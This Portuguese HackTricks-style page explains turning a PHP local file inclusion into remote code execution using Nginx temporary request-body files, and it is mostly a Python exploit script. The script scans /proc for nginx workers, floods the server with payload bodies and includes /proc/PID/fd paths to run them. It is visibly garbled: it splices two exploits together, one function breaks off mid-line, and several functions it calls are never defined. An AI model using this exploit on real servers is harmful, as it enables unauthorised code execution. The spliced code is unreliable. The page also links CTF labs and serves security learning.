# LFI2RCE via arquivos temporários do Nginx
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## Configuração vulnerável
* Código PHP:
```
/dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
Nota: Não é possível incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Esta pequena restrição pode, felizmente, ser contornada por alguma indireção como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo deletado `/var/lib/nginx/body/0000001368`.
## Exploit Completo
```python
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data=' //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc//cwd/proc//root/proc//root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{}
if "hxp" in d:
print("Found flag! ")
print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
```
## Laboratórios
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## Referências
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
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* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
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